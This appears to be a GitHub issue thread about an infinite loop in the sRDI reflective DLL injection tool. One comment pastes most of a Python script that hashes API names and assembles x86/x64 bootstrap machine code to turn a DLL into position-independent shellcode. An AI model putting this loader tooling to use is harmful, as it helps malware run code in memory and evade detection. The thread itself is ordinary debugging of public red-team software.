Infinite loop when executing NativeLoader_x64.exe #34
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Okay, one of my superhero contacts sent me a version of ShellcodeRDI.py that works correctly, I think the latest version is buggy, this one works correctly: import sys
if sys.version_info < (3,0):
print("[!] Sorry, requires Python 3.x")
sys.exit(1)
import struct
from struct import pack
MACHINE_IA64=512
MACHINE_AMD64=34404
def is64BitDLL(bytes):
header_offset = struct.unpack("<L", bytes[60:64])[0]
machine = struct.unpack("<H", bytes[header_offset+4:header_offset+4+2])[0]
if machine == MACHINE_IA64 or machine == MACHINE_AMD64:
return True
return False
ror = lambda val, r_bits, max_bits: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
def HashFunctionName(name, module = None):
function = name.encode() + b'\x00'
if(module):
module = module.upper().encode('UTF-16LE') + b'\x00\x00'
functionHash = 0
for b in function:
functionHash = ror(functionHash, 13, 32)
functionHash += b
moduleHash = 0
for b in module:
moduleHash = ror(moduleHash, 13, 32)
moduleHash += b
functionHash += moduleHash
if functionHash > 0xFFFFFFFF: functionHash -= 0x100000000
else:
functionHash = 0
for b in function:
functionHash = ror(functionHash, 13, 32)
functionHash += b
return functionHash
def ConvertToShellcode(dllBytes, functionHash=0x10, userData=b'None', flags=0):
#MARKER:S
rdiShellcode32 = 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#MARKER:E
if is64BitDLL(dllBytes):
rdiShellcode = rdiShellcode64
bootstrap = b''
bootstrapSize = 64
# call next instruction (Pushes next instruction address to stack)
bootstrap += b'\xe8\x00\x00\x00\x00'
# Set the offset to our DLL from pop result
dllOffset = bootstrapSize - len(bootstrap) + len(rdiShellcode)
# pop rcx - Capture our current location in memory
bootstrap += b'\x59'
# mov r8, rcx - copy our location in memory to r8 before we start modifying RCX
bootstrap += b'\x49\x89\xc8'
# add rcx, <Offset of the DLL>
bootstrap += b'\x48\x81\xc1'
bootstrap += pack('I', dllOffset)
# mov edx, <Hash of function>
bootstrap += b'\xba'
bootstrap += pack('I', functionHash)
# Setup the location of our user data
# add r8, <Offset of the DLL> + <Length of DLL>
bootstrap += b'\x49\x81\xc0'
userDataLocation = dllOffset + len(dllBytes)
bootstrap += pack('I', userDataLocation)
# mov r9d, <Length of User Data>
bootstrap += b'\x41\xb9'
bootstrap += pack('I', len(userData))
# push rsi - save original value
bootstrap += b'\x56'
# mov rsi, rsp - store our current stack pointer for later
bootstrap += b'\x48\x89\xe6'
# and rsp, 0x0FFFFFFFFFFFFFFF0 - Align the stack to 16 bytes
bootstrap += b'\x48\x83\xe4\xf0'
# sub rsp, 0x30 - Create some breathing room on the stack
bootstrap += b'\x48\x83\xec'
bootstrap += b'\x30' # 32 bytes for shadow space + 8 bytes for last arg + 8 bytes for stack alignment
# mov dword ptr [rsp + 0x20], <Flags> - Push arg 5 just above shadow space
bootstrap += b'\xC7\x44\x24'
bootstrap += b'\x20'
bootstrap += pack('I', flags)
# call - Transfer execution to the RDI
bootstrap += b'\xe8'
bootstrap += pack('b', bootstrapSize - len(bootstrap) - 4) # Skip over the remainder of instructions
bootstrap += b'\x00\x00\x00'
# mov rsp, rsi - Reset our original stack pointer
bootstrap += b'\x48\x89\xf4'
# pop rsi - Put things back where we left them
bootstrap += b'\x5e'
# ret - return to caller
bootstrap += b'\xc3'
if len(bootstrap) != bootstrapSize:
raise Exception("x64 bootstrap length: {} != bootstrapSize: {}".format(len(bootstrap), bootstrapSize))
# Ends up looking like this in memory:
# Bootstrap shellcode
# RDI shellcode
# DLL bytes
# User data
return bootstrap + rdiShellcode + dllBytes + userData
else: # 32 bit
rdiShellcode = rdiShellcode32
bootstrap = b''
bootstrapSize = 49
# call next instruction (Pushes next instruction address to stack)
bootstrap += b'\xe8\x00\x00\x00\x00'
# Set the offset to our DLL from pop result
dllOffset = bootstrapSize - len(bootstrap) + len(rdiShellcode)
# pop eax - Capture our current location in memory
bootstrap += b'\x58'
# push ebp
bootstrap += b'\x55'
# mov ebp, esp
bootstrap += b'\x89\xe5'
# mov edx, eax - copy our location in memory to ebx before we start modifying eax
bootstrap += b'\x89\xc2'
# add eax, <Offset to the DLL>
bootstrap += b'\x05'
bootstrap += pack('I', dllOffset)
# add edx, <Offset to the DLL> + <Size of DLL>
bootstrap += b'\x81\xc2'
userDataLocation = dllOffset + len(dllBytes)
bootstrap += pack('I', userDataLocation)
# push <Flags>
bootstrap += b'\x68'
bootstrap += pack('I', flags)
# push <Length of User Data>
bootstrap += b'\x68'
bootstrap += pack('I', len(userData))
# push edx
bootstrap += b'\x52'
# push <hash of function>
bootstrap += b'\x68'
bootstrap += pack('I', functionHash)
# push eax
bootstrap += b'\x50'
# call - Transfer execution to the RDI
bootstrap += b'\xe8'
bootstrap += pack('b', bootstrapSize - len(bootstrap) - 4) # Skip over the remainder of instructions
bootstrap += b'\x00\x00\x00'
# add esp, 0x14 - remove arguments from stack (cdecl)
bootstrap += b'\x83\xc4\x14'
# leave
bootstrap += b'\xc9'
# ret - return to caller
bootstrap += b'\xc3'
if len(bootstrap) != bootstrapSize:
raise Exception("x86 bootstrap length: {} != bootstrapSize: {}".format(len(bootstrap), bootstrapSize))
# Ends up looking like this in memory:
# Bootstrap shellcode
# RDI shellcode
# DLL bytes
# User data
return bootstrap + rdiShellcode + dllBytes + userData
return False |
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Hello,
I'm having trouble converting sources to C or C++ with ConvertToShellcode.py
Indeed, when I try to convert some code into shellcode, I get an infinite loop when I test the shellcode on the generated .bin, even using the base dll of the TestDLL_x64.dll project:
How can I solve this issue please?
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